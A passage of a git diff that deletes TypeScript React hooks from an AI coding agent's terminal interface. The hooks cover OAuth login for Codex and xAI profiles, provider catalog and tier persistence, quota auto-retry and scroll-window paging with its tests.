CodexAuthError } from "../../auth/codex/session.js"; -import { refreshCodexInstructions } from "../../auth/codex/instructions.js"; -import { removeCodexProfile } from "../../auth/codex/store.js"; -import { CODEX_BASE_URL, CODEX_DEFAULT_MODELS } from "../../auth/codex/constants.js"; -import { getValidXaiToken, XaiAuthError } from "../../auth/xai/session.js"; -import { removeXaiProfile } from "../../auth/xai/store.js"; -import { XAI_BASE_URL, XAI_DEFAULT_MODELS } from "../../auth/xai/constants.js"; -import { codexProviderName, codexProfileFromProviderName } from "../../config/codex-providers.js"; -import { xaiProviderName, xaiProfileFromProviderName } from "../../config/xai-providers.js"; -import { fetchCodexModels } from "../../auth/codex/usage.js"; -import type { ProviderCatalogEntry } from "../../config/index.js"; -import { LOG_NAMESPACE_ROOT } from "../../branding.js"; - -const logger = getLogger([LOG_NAMESPACE_ROOT, "tui", "provider-auth"]); - -export type LoginModal = "codex" | "xai" | null; - -export type UseProviderAuthArgs = { - provider: string; - providerCatalog: ProviderCatalogEntry[]; - registerCodexProvider: (entry: ProviderCatalogEntry) => void; - registerXaiProvider: (entry: ProviderCatalogEntry) => void; - removeCodexProvider: (name: string) => void; - removeXaiProvider: (name: string) => void; - setCommandMessage: Dispatch>; - onCredentialFailureRef: { current: () => void }; -}; - -export type ProviderAuthController = { - unauthedProviders: ReadonlySet; - setUnauthedProviders: Dispatch>>; - loginModal: LoginModal; - setLoginModal: Dispatch>; - autoLoginProfile: string | undefined; - setAutoLoginProfile: Dispatch>; - codexProfileNames: string[]; - xaiProfileNames: string[]; - refreshAuthState: () => void; - promptCodexRelogin: (name: string) => void; - promptXaiRelogin: (name: string) => void; - switchToCodexProfile: (name: string) => void; - switchToXaiProfile: (name: string) => void; - removeCodexProfileEverywhere: (name: string) => void; - removeXaiProfileEverywhere: (name: string) => void; -}; - -export function useProviderAuth({ - provider, - providerCatalog, - registerCodexProvider, - registerXaiProvider, - removeCodexProvider, - removeXaiProvider, - setCommandMessage, - onCredentialFailureRef, -}: UseProviderAuthArgs): ProviderAuthController { - const [unauthedProviders, setUnauthedProviders] = useState>(() => new Set()); - const [loginModal, setLoginModal] = useState(null); - const [autoLoginProfile, setAutoLoginProfile] = useState(undefined); - - // Updated every render so the stream callback always sees the current provider. - onCredentialFailureRef.current = () => { - if (loginModal !== null) return; - const xaiName = xaiProfileFromProviderName(provider); - const codexName = codexProfileFromProviderName(provider); - if (xaiName !== undefined) { - void getValidXaiToken(xaiName).then( - () => { - // Token is locally valid but the proxy returned 403 — subscription or - // account-level access issue, not a bad token. Re-authing won't help. - setCommandMessage( - `Grok 403: "${xaiName}" has a valid token but the proxy rejected the request. ` + - `Check your SuperGrok or X Premium+ subscription at grok.com.`, - ); - }, - (err: unknown) => { - if (err instanceof XaiAuthError) { - setAutoLoginProfile(xaiName); - setLoginModal("xai"); - } - }, - ); - } else if (codexName !== undefined) { - // Access token rejected by the provider (or refresh already dead): open - // the browser re-auth flow instead of leaving the user on a 401 banner. - setAutoLoginProfile(codexName); - setLoginModal("codex"); - } else { - // API-key providers: no OAuth modal — surface the failure as a command message. - setAutoLoginProfile(undefined); - setCommandMessage( - `Authentication failed for provider "${provider}". Reconnect from /model (c or Ctrl+A).`, - ); - } - }; - - const codexProfileNames = useMemo( - () => - providerCatalog - .map((p) => p.codexProfile) - .filter((name): name is string => name !== undefined), - [providerCatalog], - ); - const xaiProfileNames = useMemo( - () => - providerCatalog - .map((p) => p.xaiProfile) - .filter((name): name is string => name !== undefined), - [providerCatalog], - ); - - // Check which OAuth providers currently have valid tokens and update the - // unauthedProviders set. Called after login/logout and when the agent modal opens. - const refreshAuthState = (): void => { - const checks = providerCatalog.flatMap((p) => { - if (p.xaiProfile !== undefined) { - const profile = p.xaiProfile; - const providerName = p.name; - return [getValidXaiToken(profile).then( - () => ({ providerName, ok: true }), - () => ({ providerName, ok: false }), - )]; - } - return []; - }); - void Promise.all(checks).then((results) => { - const unauthed = new Set(results.filter((r) => !r.ok).map((r) => r.providerName)); - setUnauthedProviders(unauthed); - }); - }; - - // Open the OAuth re-login modal for a dead/missing profile instead of dumping - // the raw 401. The modal's autoLoginProfile path starts the browser flow - // immediately so the user does not have to dig through a profile list first. - const promptCodexRelogin = (name: string): void => { - setAutoLoginProfile(name); - setLoginModal("codex"); - }; - const promptXaiRelogin = (name: string): void => { - setAutoLoginProfile(name); - setLoginModal("xai"); - }; - - const switchToCodexProfile = (name: string): void => { - void refreshCodexInstructions().catch((err: unknown) => { - // Best-effort prompt refresh; profile switch still proceeds with cached text. - logger.warn("Codex instructions refresh failed: {error}", { - error: err instanceof Error ? err.message : String(err), - }); - }); - void Promise.all([ - getValidCodexToken(name), - fetchCodexModels(name).catch((err: unknown) => { - // Empty catalog falls back to CODEX_DEFAULT_MODELS below; log so - // rate-limit/network failures are visible while switching profiles. - logger.debug("Codex models fetch failed for profile {profile}; using defaults: {error}", { - profile: name, - error: err instanceof Error ? err.message : String(err), - }); - return []; - }), - ]).then( - ([token, liveModels]) => { - const accountId = token.accountId; - // Prefer the account's live model catalog; fall back to the current - // default set when empty (e.g. while rate-limited the catalog is empty). - const models = liveModels.length > 0 ? liveModels : [...CODEX_DEFAULT_MODELS]; - const defaultModel = models[0] ?? CODEX_DEFAULT_MODELS[0]; - registerCodexProvider({ - name: codexProviderName(name), - baseURL: CODEX_BASE_URL, - apiKey: token.access, - models, - defaultModel, - codexProfile: name, - ...(accountId !== undefined ? { codexAccountId: accountId } : {}), - }); - }, - (err: unknown) => { - // Refresh/token missing: drop the user into the browser re-auth flow - // rather than surfacing the provider's 401 JSON as a status line. - if (err instanceof CodexAuthError) { - promptCodexRelogin(name); - return; - } - setCommandMessage( - `Could not use Codex profile "${name}": ${err instanceof Error ? err.message : String(err)}`, - ); - }, - ); - }; - - const removeCodexProfileEverywhere = (name: string): void => { - removeCodexProvider(codexProviderName(name)); - void removeCodexProfile(name).then( - () => setCommandMessage(`Removed Codex profile "${name}".`), - (err: unknown) => setCommandMessage(`Failed to remove Codex profile "${name}": ${err instanceof Error ? err.message : String(err)}`), - ); - }; - - const switchToXaiProfile = (name: string): void => { - void getValidXaiToken(name).then( - (token) => { - const defaultModel = XAI_DEFAULT_MODELS[0]; - registerXaiProvider({ - name: xaiProviderName(name), - baseURL: XAI_BASE_URL, - apiKey: token.access, - models: [...XAI_DEFAULT_MODELS], - defaultModel, - xaiProfile: name, - }); - refreshAuthState(); - }, - (err: unknown) => { - if (err instanceof XaiAuthError) { - promptXaiRelogin(name); - return; - } - setCommandMessage( - `Could not use xAI profile "${name}": ${err instanceof Error ? err.message : String(err)}`, - ); - }, - ); - }; - - const removeXaiProfileEverywhere = (name: string): void => { - removeXaiProvider(xaiProviderName(name)); - void removeXaiProfile(name).then( - () => setCommandMessage(`Removed xAI profile "${name}".`), - (err: unknown) => setCommandMessage(`Failed to remove xAI profile "${name}": ${err instanceof Error ? err.message : String(err)}`), - ); - }; - - return { - unauthedProviders, - setUnauthedProviders, - loginModal, - setLoginModal, - autoLoginProfile, - setAutoLoginProfile, - codexProfileNames, - xaiProfileNames, - refreshAuthState, - promptCodexRelogin, - promptXaiRelogin, - switchToCodexProfile, - switchToXaiProfile, - removeCodexProfileEverywhere, - removeXaiProfileEverywhere, - }; -} diff --git a/src/tui/hooks/use-provider-manager.ts b/src/tui/hooks/use-provider-manager.ts deleted file mode 100644 index 2f9d45010..000000000 --- a/src/tui/hooks/use-provider-manager.ts +++ /dev/null @@ -1,593 +0,0 @@ -import type { Agent } from "@intx/agent"; -import type { InferenceSource } from "@intx/types/runtime"; -import { useRef, useState } from "react"; -import { providerCatalogToSettings, runtimeSettingsWithCatalog, type ProviderCatalogEntry } from "../../config/index.js"; -import { - loadSettings, - localSettingsPath, - pushRecentModel, - saveGlobalSettings, - saveLocalSettings, - toggleFavoriteModel, - type LocalSettings, - type ModelRef, - type ProviderTier, - type Settings, - type TierConfig, -} from "../../config/settings.js"; -import { - appendTierEntry, - buildMainSessionSources, - cycleTierMode, - moveTierLeg, - removeTierLeg, -} from "../../config/inference-sources.js"; -import type { ReasoningEffort } from "../../provider/reasoning-effort.js"; -import type { SubAgentProvider } from "../../subagent/index.js"; -import { - buildProviderEntry, - defaultProviderAfterSave, - defaultProviderAfterDelete, - type ProviderSubmission, -} from "../../config/providers.js"; - -export type UseProviderManagerArgs = { - initialProvider: string; - initialModel: string; - initialReasoningEffort?: ReasoningEffort; - initialCatalog: ProviderCatalogEntry[]; - initialGlobalDefaultProvider: string | undefined; - initialTiers?: Partial>; - getSessionId: () => string; - // The original settings from disk, used to preserve non-provider fields - // (mcpServers, workflow plugins, etc.) when saving the provider catalog back. - initialSettings?: Settings; - cwd: string; - globalSettingsPath: string; - agent: Agent & { - setSources: (sources: InferenceSource[], defaultSource: string) => void; - }; - onMessage: (msg: string) => void; - // Fired whenever the active source changes (provider, model, or effort) so the - // subagent provider can track a live /agent switch, not just the startup value. - onSelectionChange?: (provider: SubAgentProvider) => void; - // Fired when the live catalog or tier map changes so task(tier=…) can resolve - // OAuth providers and mid-session tier edits without a restart. - onRuntimeResolutionChange?: (args: { - catalog: readonly ProviderCatalogEntry[]; - settings: Settings; - }) => void; -}; - -export type ProviderManagerController = { - provider: string; - model: string; - reasoningEffort: ReasoningEffort | undefined; - providerCatalog: ProviderCatalogEntry[]; - globalDefaultProvider: string | undefined; - tiers: Partial>; - recentModels: ModelRef[]; - favoriteModels: ModelRef[]; - applySelection: (providerName: string, nextModel: string, nextEffort: ReasoningEffort | undefined) => void; - persistSelection: (providerName: string, nextModel: string, nextEffort: ReasoningEffort | undefined) => void; - recordRecentModel: (ref: ModelRef) => void; - toggleFavorite: (ref: ModelRef) => void; - upsertProvider: (submission: ProviderSubmission) => { ok: true } | { ok: false; error: string }; - deleteProvider: (providerName: string) => void; - saveTierAssignment: ( - tier: ProviderTier, - provider: string, - model: string, - effort?: import("../../provider/reasoning-effort.js").ReasoningEffort, - ) => void; - cycleTierMode: (tier: ProviderTier) => void; - clearTier: (tier: ProviderTier) => void; - removeTierLegAt: (tier: ProviderTier, legIndex: number) => void; - moveTierLegAt: (tier: ProviderTier, legIndex: number, direction: -1 | 1) => void; - // Inject (or replace) an OAuth provider in the live catalog and switch to it. - // OAuth entries are never persisted to settings.json — their credentials live - // in provider-specific auth stores — so this only mutates in-memory catalog - // state, unlike upsertProvider. - registerCodexProvider: (entry: ProviderCatalogEntry) => void; - registerXaiProvider: (entry: ProviderCatalogEntry) => void; - // Drop an OAuth provider from the live catalog, falling back to another - // provider if the removed one was active. - removeCodexProvider: (providerName: string) => void; - removeXaiProvider: (providerName: string) => void; -}; - -// The selection writer omits reasoningEffort when there is no override so the -// project settings file stays minimal and a cleared override leaves no stale key. -function localSelection( - providerName: string, - model: string, - effort: ReasoningEffort | undefined, -): LocalSettings { - return { - provider: providerName, - model, - ...(effort !== undefined ? { reasoningEffort: effort } : {}), - }; -} - -// Runtime settings for source/tier resolution: include OAuth catalog entries so -// tiers can target Codex/xAI. Never write this object to disk. -function runtimeSettingsWithTiers( - catalog: readonly ProviderCatalogEntry[], - defaultProvider: string | undefined, - baseSettings: Settings | undefined, - nextTiers: Partial>, -): Settings { - return { - ...runtimeSettingsWithCatalog(baseSettings, catalog), - ...(defaultProvider !== undefined ? { defaultProvider } : {}), - tiers: nextTiers, - }; -} - -// Disk settings: OAuth entries are stripped so tokens never land in settings.json. -function persistSettingsWithTiers( - catalog: readonly ProviderCatalogEntry[], - defaultProvider: string | undefined, - baseSettings: Settings | undefined, - nextTiers: Partial>, -): Settings { - return { ...providerCatalogToSettings(catalog, defaultProvider, baseSettings), tiers: nextTiers }; -} - -// Prefer current on-disk global settings as the merge base so a mid-session -// /plugins write is not clobbered by the session-start initialSettings snapshot. -// Fail closed on load errors — never fall back to a stale snapshot that could -// wipe plugins or other non-provider fields. -async function loadMergeBase( - globalSettingsPath: string, - initialSettings: Settings | undefined, -): Promise { - try { - const onDisk = await loadSettings(globalSettingsPath); - if (onDisk !== null) return onDisk; - } catch (err) { - throw err instanceof Error ? err : new Error(String(err)); - } - return initialSettings; -} - -function persistGlobalSettings( - globalSettingsPath: string, - settings: Settings, - onMessage: (msg: string) => void, - successMessage: string, - failPrefix: string, -): Promise { - return saveGlobalSettings(globalSettingsPath, settings).then( - () => { - if (successMessage.length > 0) onMessage(successMessage); - }, - (err: unknown) => { - onMessage(`${failPrefix}: ${err instanceof Error ? err.message : String(err)}`); - }, - ); -} - -// Shared disk-first persist path for catalog and tier writes. Loads a fresh -// merge base, builds settings, optionally mutates in-memory state, then saves. -// Fire-and-forget: callers `void` the promise so UI stays non-blocking. -// onBeforeSave runs only after load+build succeed so a failed re-read never -// leaves UI state ahead of disk. -async function persistWithMergeBase(args: { - globalSettingsPath: string; - initialSettings: Settings | undefined; - buildSettings: (base: Settings | undefined) => Settings; - onMessage: (msg: string) => void; - successMessage: string; - failPrefix: string; - onBeforeSave?: () => void; -}): Promise { - try { - const base = await loadMergeBase(args.globalSettingsPath, args.initialSettings); - const settings = args.buildSettings(base); - args.onBeforeSave?.(); - await persistGlobalSettings( - args.globalSettingsPath, - settings, - args.onMessage, - args.successMessage, - args.failPrefix, - ); - } catch (err) { - args.onMessage(`${args.failPrefix}: ${err instanceof Error ? err.message : String(err)}`); - } -} - -export function useProviderManager({ - initialProvider, - initialModel, - initialReasoningEffort, - initialCatalog, - initialGlobalDefaultProvider, - initialTiers, - initialSettings, - cwd, - globalSettingsPath, - getSessionId, - agent, - onMessage, - onSelectionChange, - onRuntimeResolutionChange, -}: UseProviderManagerArgs): ProviderManagerController { - const [provider, setProvider] = useState(initialProvider); - const [model, setModel] = useState(initialModel); - const [reasoningEffort, setReasoningEffort] = useState(initialReasoningEffort); - const [providerCatalog, setProviderCatalog] = useState(initialCatalog); - const [globalDefaultProvider, setGlobalDefaultProvider] = useState(initialGlobalDefaultProvider); - const [tiers, setTiers] = useState>>(initialTiers ?? {}); - const [recentModels, setRecentModels] = useState( - () => initialSettings?.recentModels ?? [], - ); - const [favoriteModels, setFavoriteModels] = useState( - () => initialSettings?.favoriteModels ?? [], - ); - // Absolute in-memory truth for model prefs — writes never re-derive from disk. - const recentModelsRef = useRef(initialSettings?.recentModels ?? []); - const favoriteModelsRef = useRef(initialSettings?.favoriteModels ?? []); - // Serialize concurrent recent/favorite saves so they cannot clobber each other. - const modelPrefsWriteChain = useRef(Promise.resolve()); - - const publishRuntimeResolution = ( - catalog: readonly ProviderCatalogEntry[], - tierState: Partial>, - defaultProvider: string | undefined = globalDefaultProvider, - ): void => { - onRuntimeResolutionChange?.({ - catalog, - settings: runtimeSettingsWithTiers(catalog, defaultProvider, initialSettings, tierState), - }); - }; - - const syncMainSessionSources = (args: { - catalog: readonly ProviderCatalogEntry[]; - activeProvider: string; - activeModel: string; - effort: ReasoningEffort | undefined; - tierState: Partial>; - }): void => { - const settings = runtimeSettingsWithTiers(args.catalog, globalDefaultProvider, initialSettings, args.tierState); - const bundle = buildMainSessionSources({ - settings, - catalog: args.catalog, - activeProvider: args.activeProvider, - activeModel: args.activeModel, - ...(args.effort !== undefined ? { reasoningEffort: args.effort } : {}), - sessionId: getSessionId(), - }); - agent.setSources(bundle.sources, bundle.defaultSource); - }; - - const pushLiveSources = (nextTiers: Partial>): void => { - syncMainSessionSources({ - catalog: providerCatalog, - activeProvider: provider, - activeModel: model, - effort: reasoningEffort, - tierState: nextTiers, - }); - }; - - const applyCatalogSelection = ( - catalog: readonly ProviderCatalogEntry[], - providerName: string, - nextModel: string, - nextEffort: ReasoningEffort | undefined, - ): boolean => { - const entry = catalog.find((p) => p.name === providerName); - if (entry === undefined) { - onMessage(`Provider "${providerName}" is no longer configured`); - return false; - } - syncMainSessionSources({ - catalog, - activeProvider: providerName, - activeModel: nextModel, - effort: nextEffort, - tierState: tiers, - }); - onSelectionChange?.({ - providerName, - baseURL: entry.baseURL, - ...(entry.apiKey !== undefined ? { apiKey: entry.apiKey } : {}), - ...(entry.keyless === true ? { keyless: true } : {}), - ...(entry.bifrostVirtualKey === true ? { bifrostVirtualKey: true } : {}), - model: nextModel, - ...(nextEffort !== undefined ? { reasoningEffort: nextEffort } : {}), - }); - setProvider(providerName); - setModel(nextModel); - setReasoningEffort(nextEffort); - return true; - }; - - const applySelection = ( - providerName: string, - nextModel: string, - nextEffort: ReasoningEffort | undefined, - ): void => { - if (applyCatalogSelection(providerCatalog, providerName, nextModel, nextEffort)) { - onMessage(`Now using ${providerName} · ${nextModel}`); - // Keep recent list in sync even when the modal does not call recordRecentModel. - recordRecentModel({ provider: providerName, model: nextModel }); - } - }; - - const enqueueModelPrefsWrite = ( - failPrefix: string, - apply: (base: Settings) => Settings, - ): void => { - modelPrefsWriteChain.current = modelPrefsWriteChain.current - .then(() => - persistWithMergeBase({ - globalSettingsPath, - initialSettings, - buildSettings: (base) => apply(base ?? { providers: {} }), - onMessage, - successMessage: "", - failPrefix, - }), - ) - .catch(() => { - // Errors already reported via onMessage inside persistWithMergeBase. - }); - }; - - const recordRecentModel = (ref: ModelRef): void => { - const next = - pushRecentModel({ providers: {}, recentModels: recentModelsRef.current }, ref).recentModels ?? - []; - recentModelsRef.current = next; - setRecentModels(next); - enqueueModelPrefsWrite("Failed to save recent models", (base) => ({ - ...base, - recentModels: recentModelsRef.current, - })); - }; - - const toggleFavorite = (ref: ModelRef): void => { - const next = - toggleFavoriteModel({ providers: {}, favoriteModels: favoriteModelsRef.current }, ref) - .favoriteModels ?? []; - favoriteModelsRef.current = next; - setFavoriteModels(next); - enqueueModelPrefsWrite("Failed to save favorite models", (base) => ({ - ...base, - favoriteModels: favoriteModelsRef.current, - })); - }; - - const persistLocalSelection = (providerName: string, nextModel: string): void => { - void saveLocalSettings(localSettingsPath(cwd), localSelection(providerName, nextModel, reasoningEffort)).catch( - (err: unknown) => { - onMessage( - `Provider saved, but saving project selection failed: ${ - err instanceof Error ? err.message : String(err) - }`, - ); - }, - ); - }; - - const persistSelection = ( - providerName: string, - nextModel: string, - nextEffort: ReasoningEffort | undefined, - ): void => { - applySelection(providerName, nextModel, nextEffort); - void saveLocalSettings(localSettingsPath(cwd), localSelection(providerName, nextModel, nextEffort)).catch( - (err: unknown) => { - onMessage( - `Switched, but saving default failed: ${err instanceof Error ? err.message : String(err)}`, - ); - }, - ); - }; - - const switchActiveAfterCatalogChange = ( - catalog: ProviderCatalogEntry[], - removedName: string, - emptyMessage: string, - ): void => { - if (removedName !== provider) return; - const fallback = catalog.find((p) => p.name === provider) ?? catalog[0]; - const fallbackModel = fallback?.defaultModel ?? fallback?.models[0]; - if (fallback === undefined || fallbackModel === undefined) { - onMessage(emptyMessage); - return; - } - if (applyCatalogSelection(catalog, fallback.name, fallbackModel, reasoningEffort)) { - persistLocalSelection(fallback.name, fallbackModel); - } - }; - - const persistProviderCatalog = ( - catalog: ProviderCatalogEntry[], - defaultProvider: string | undefined, - successMessage: string, - ): void => { - // Disk-first merge base: mid-session /plugins writes must survive a later - // provider save. Fail closed if settings cannot be re-read. - void persistWithMergeBase({ - globalSettingsPath, - initialSettings, - buildSettings: (base) => persistSettingsWithTiers(catalog, defaultProvider, base, tiers), - onMessage, - successMessage, - failPrefix: "Provider settings changed locally, but saving failed", - onBeforeSave: () => { - setProviderCatalog(catalog); - setGlobalDefaultProvider(defaultProvider); - publishRuntimeResolution(catalog, tiers, defaultProvider); - }, - }); - }; - - const upsertProvider = (submission: ProviderSubmission): { ok: true } | { ok: false; error: string } => { - const result = buildProviderEntry(submission, providerCatalog); - if (!result.ok) { - onMessage(result.error); - return result; - } - const { entry, catalog, selectedModel } = result; - const nextDefaultProvider = defaultProviderAfterSave(submission, catalog, globalDefaultProvider); - applyCatalogSelection(catalog, entry.name, selectedModel, reasoningEffort); - persistLocalSelection(entry.name, selectedModel); - persistProviderCatalog(catalog, nextDefaultProvider, `Saved provider ${entry.name}`); - return { ok: true }; - }; - - const deleteProvider = (providerName: string): void => { - if (providerCatalog.length <= 1) { - onMessage("Cannot remove the last provider"); - return; - } - const catalog = providerCatalog.filter((p) => p.name !== providerName); - const fallback = catalog.find((p) => p.name === provider) ?? catalog[0]; - if (fallback === undefined) { - onMessage("Cannot remove provider because no fallback provider is configured"); - return; - } - switchActiveAfterCatalogChange( - catalog, - providerName, - "Cannot remove provider because no fallback provider is configured", - ); - persistProviderCatalog( - catalog, - defaultProviderAfterDelete(providerName, fallback.name, catalog, globalDefaultProvider), - `Removed provider ${providerName}`, - ); - }; - - const persistTierState = ( - nextTiers: Partial>, - successMessage: string, - failPrefix: string, - ): void => { - // Tiers update optimistically so the modal reflects the edit immediately; - // disk write is best-effort via the shared merge-base path. - setTiers(nextTiers); - pushLiveSources(nextTiers); - publishRuntimeResolution(providerCatalog, nextTiers); - void persistWithMergeBase({ - globalSettingsPath, - initialSettings, - buildSettings: (base) => - persistSettingsWithTiers(providerCatalog, globalDefaultProvider, base, nextTiers), - onMessage, - successMessage, - failPrefix, - }); - }; - - const saveTierAssignment = ( - tier: ProviderTier, - tierProvider: string, - tierModel: string, - effort?: import("../../provider/reasoning-effort.js").ReasoningEffort, - ): void => { - const entry: import("../../config/settings.js").TierProviderRef = { - provider: tierProvider, - model: tierModel, - ...(effort !== undefined ? { reasoningEffort: effort } : {}), - }; - const nextDef = appendTierEntry(tiers[tier], entry); - const effortLabel = effort !== undefined ? ` · ${effort}` : ""; - persistTierState( - { ...tiers, [tier]: nextDef }, - `Saved tier ${tier}: ${tierProvider} · ${tierModel}${effortLabel} (chain length ${nextDef.order.length})`, - "Tier assignment saved locally, but persisting failed", - ); - }; - - const clearTierFor = (tier: ProviderTier): void => { - const nextTiers = { ...tiers }; - delete nextTiers[tier]; - persistTierState(nextTiers, `Cleared tier ${tier}`, "Tier cleared locally, but persisting failed"); - }; - - const removeTierLegAt = (tier: ProviderTier, legIndex: number): void => { - const nextDef = removeTierLeg(tiers[tier], legIndex); - const nextTiers = { ...tiers }; - if (nextDef === undefined) delete nextTiers[tier]; - else nextTiers[tier] = nextDef; - persistTierState(nextTiers, `Removed leg ${legIndex + 1} from tier ${tier}`, "Tier leg removed locally, but persisting failed"); - }; - - const moveTierLegAt = (tier: ProviderTier, legIndex: number, direction: -1 | 1): void => { - const nextDef = moveTierLeg(tiers[tier], legIndex, direction); - if (nextDef === undefined) return; - const nextTiers = { ...tiers, [tier]: nextDef }; - persistTierState(nextTiers, `Reordered tier ${tier} chain`, "Tier reorder saved locally, but persisting failed"); - }; - - const cycleTierModeFor = (tier: ProviderTier): void => { - const nextDef = cycleTierMode(tiers[tier]); - const nextTiers = { ...tiers, [tier]: nextDef }; - persistTierState(nextTiers, `Tier ${tier} mode: ${nextDef.mode}`, "Tier mode updated locally, but persisting failed"); - }; - - const registerOAuthProvider = (entry: ProviderCatalogEntry, label: string): void => { - const targetModel = entry.defaultModel ?? entry.models[0]; - if (targetModel === undefined) { - onMessage(`${label} profile ${entry.name} has no model to select`); - return; - } - const catalog = providerCatalog.filter((p) => p.name !== entry.name).concat(entry); - setProviderCatalog(catalog); - publishRuntimeResolution(catalog, tiers); - if (applyCatalogSelection(catalog, entry.name, targetModel, reasoningEffort)) { - persistLocalSelection(entry.name, targetModel); - onMessage(`Now using ${entry.name} · ${targetModel}`); - } - }; - - const removeOAuthProvider = (providerName: string, label: string): void => { - const catalog = providerCatalog.filter((p) => p.name !== providerName); - setProviderCatalog(catalog); - publishRuntimeResolution(catalog, tiers); - switchActiveAfterCatalogChange( - - catalog, - providerName, - `Removed the active ${label} profile but no other provider is configured`, - ); - }; - - const registerCodexProvider = (entry: ProviderCatalogEntry): void => registerOAuthProvider(entry, "Codex"); - const registerXaiProvider = (entry: ProviderCatalogEntry): void => registerOAuthProvider(entry, "xAI"); - const removeCodexProvider = (providerName: string): void => removeOAuthProvider(providerName, "Codex"); - const removeXaiProvider = (providerName: string): void => removeOAuthProvider(providerName, "xAI"); - - return { - provider, - model, - reasoningEffort, - providerCatalog, - globalDefaultProvider, - tiers, - recentModels, - favoriteModels, - applySelection, - persistSelection, - recordRecentModel, - toggleFavorite, - upsertProvider, - deleteProvider, - saveTierAssignment, - cycleTierMode: cycleTierModeFor, - clearTier: clearTierFor, - removeTierLegAt, - moveTierLegAt, - registerCodexProvider, - registerXaiProvider, - removeCodexProvider, - removeXaiProvider, - }; -} diff --git a/src/tui/hooks/use-quota-retry.ts b/src/tui/hooks/use-quota-retry.ts deleted file mode 100644 index fd7ace321..000000000 --- a/src/tui/hooks/use-quota-retry.ts +++ /dev/null @@ -1,42 +0,0 @@ -import { useEffect, type RefObject } from "react"; -import type { AgentStreamView } from "../use-stream.js"; -import { shouldAutoRetryQuota } from "../quota-retry.js"; - -export type UseQuotaRetryArgs = { - state: AgentStreamView; - stateRef: RefObject; - lastSentMessageRef: RefObject; - quotaAutoRetryFiredRef: RefObject; - sendMessageRef: RefObject<(message: { text: string; attachments: [] }) => void>; -}; - -// When a quota error is active, poll once per second and auto-resubmit the -// last prompt as soon as the provider's retry-after window expires. -export function useQuotaRetry({ - state, - stateRef, - lastSentMessageRef, - quotaAutoRetryFiredRef, - sendMessageRef, -}: UseQuotaRetryArgs): void { - useEffect(() => { - if (state.quotaError === null) return; - const interval = setInterval(() => { - if ( - !shouldAutoRetryQuota({ - quotaError: stateRef.current.quotaError, - alreadyFired: quotaAutoRetryFiredRef.current, - nowMs: Date.now(), - lastSentMessage: lastSentMessageRef.current, - }) - ) { - return; - } - quotaAutoRetryFiredRef.current = true; - sendMessageRef.current({ text: lastSentMessageRef.current, attachments: [] }); - }, 1000); - return () => clearInterval(interval); - // `state` is a stable mutable object — only `quotaError` drives re-subscription. - // eslint-disable-next-line react-hooks/exhaustive-deps - }, [state.quotaError]); -} diff --git a/src/tui/hooks/use-revolving-verb.ts b/src/tui/hooks/use-revolving-verb.ts deleted file mode 100644 index 8de8e317f..000000000 --- a/src/tui/hooks/use-revolving-verb.ts +++ /dev/null @@ -1,7 +0,0 @@ -const VERBS = ["thinking", "streaming", "running", "reasoning", "working"] as const; - -// Picks one ambient verb for the whole inference turn. The live phase still -// comes from the in-flight label; this avoids a distracting timed rotation. -export function useRevolvingVerb(active: boolean, turnKey = 0): string | undefined { - return active ? VERBS[Math.abs(turnKey) % VERBS.length] : undefined; -} diff --git a/src/tui/hooks/use-scroll-window.test.tsx b/src/tui/hooks/use-scroll-window.test.tsx deleted file mode 100644 index ef9412dac..000000000 --- a/src/tui/hooks/use-scroll-window.test.tsx +++ /dev/null @@ -1,65 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import type { ReactElement } from "react"; -import { Text, useInput } from "ink"; -import { useScrollWindow } from "./use-scroll-window.js"; - -const tick = () => new Promise((resolve) => setTimeout(resolve, 20)); - -// A minimal harness component so the hook's state (useState-backed) is -// exercised the same way the modals use it: PageUp/PageDown drive offset, -// and above/below report what's scrolled out of view. -function Harness({ rowCount, visibleRows }: { rowCount: number; visibleRows: number }): ReactElement { - const window = useScrollWindow(rowCount, visibleRows); - useInput((_input, key) => { - if (key.pageDown) window.pageDown(); - if (key.pageUp) window.pageUp(); - }); - return {`offset=${window.offset} above=${window.above} below=${window.below} max=${window.maxOffset}`}; -} - -test("useScrollWindow starts at the top with everything below in view", () => { - const { lastFrame } = render(); - expect(lastFrame()).toBe("offset=0 above=0 below=6 max=6"); -}); - -test("useScrollWindow pages down and clamps at maxOffset", async () => { - const { stdin, lastFrame } = render(); - stdin.write("\x1B[6~"); // PageDown - await tick(); - expect(lastFrame()).toBe("offset=4 above=4 below=2 max=6"); - stdin.write("\x1B[6~"); // PageDown again — clamps instead of overshooting - await tick(); - expect(lastFrame()).toBe("offset=6 above=6 below=0 max=6"); -}); - -test("useScrollWindow pages back up and clamps at 0", async () => { - const { stdin, lastFrame } = render(); - stdin.write("\x1B[6~"); // PageDown - await tick(); - stdin.write("\x1B[5~"); // PageUp back to the top - await tick(); - expect(lastFrame()).toBe("offset=0 above=0 below=6 max=6"); - stdin.write("\x1B[5~"); // PageUp again — clamps instead of going negative - await tick(); - expect(lastFrame()).toBe("offset=0 above=0 below=6 max=6"); -}); - -test("useScrollWindow reports maxOffset 0 when content already fits", () => { - const { lastFrame } = render(); - expect(lastFrame()).toBe("offset=0 above=0 below=0 max=0"); -}); - -test("useScrollWindow clamps a stale raw offset when content shrinks", async () => { - // Start tall so paging can leave rawOffset past the later maxOffset. - const { stdin, lastFrame, rerender } = render(); - for (let i = 0; i < 6; i++) { - stdin.write("\x1B[6~"); // PageDown - await tick(); - } - expect(lastFrame()).toBe("offset=25 above=25 below=0 max=25"); - // Content shrinks — displayed offset must clamp immediately without PageUp. - rerender(); - await tick(); - expect(lastFrame()).toBe("offset=3 above=3 below=0 max=3"); -}); diff --git a/src/tui/hooks/use-scroll-window.ts b/src/tui/hooks/use-scroll-window.ts deleted file mode 100644 index c7c6e18f3..000000000 --- a/src/tui/hooks/use-scroll-window.ts +++ /dev/null @@ -1,50 +0,0 @@ -import { useState } from "react"; - -// Terminals that don't report a size (or report one before the first resize -// event lands) fall back to a conservative row count so a modal still lays -// out something scrollable rather than assuming infinite height. -export const FALLBACK_TERMINAL_ROWS = 24; - -function maxRowOffset(rowCount: number, visibleRows: number): number { - return Math.max(0, rowCount - visibleRows); -} - -export type ScrollWindow = { - // Current top-of-viewport row, clamped to [0, maxOffset]. - offset: number; - maxOffset: number; - // Row counts above/below the visible window, for a "N more above/below" - // scroll indicator. - above: number; - below: number; - pageUp: () => void; - pageDown: () => void; -}; - -// Top-pinned scroll state shared by the approval modals: a body opens showing -// its start, with PageUp/PageDown clamped to [0, rowCount - visibleRows]. -// Both operator-modal and permission-modal had their own copy of this offset -// math and paging logic; this is the single place it's owned 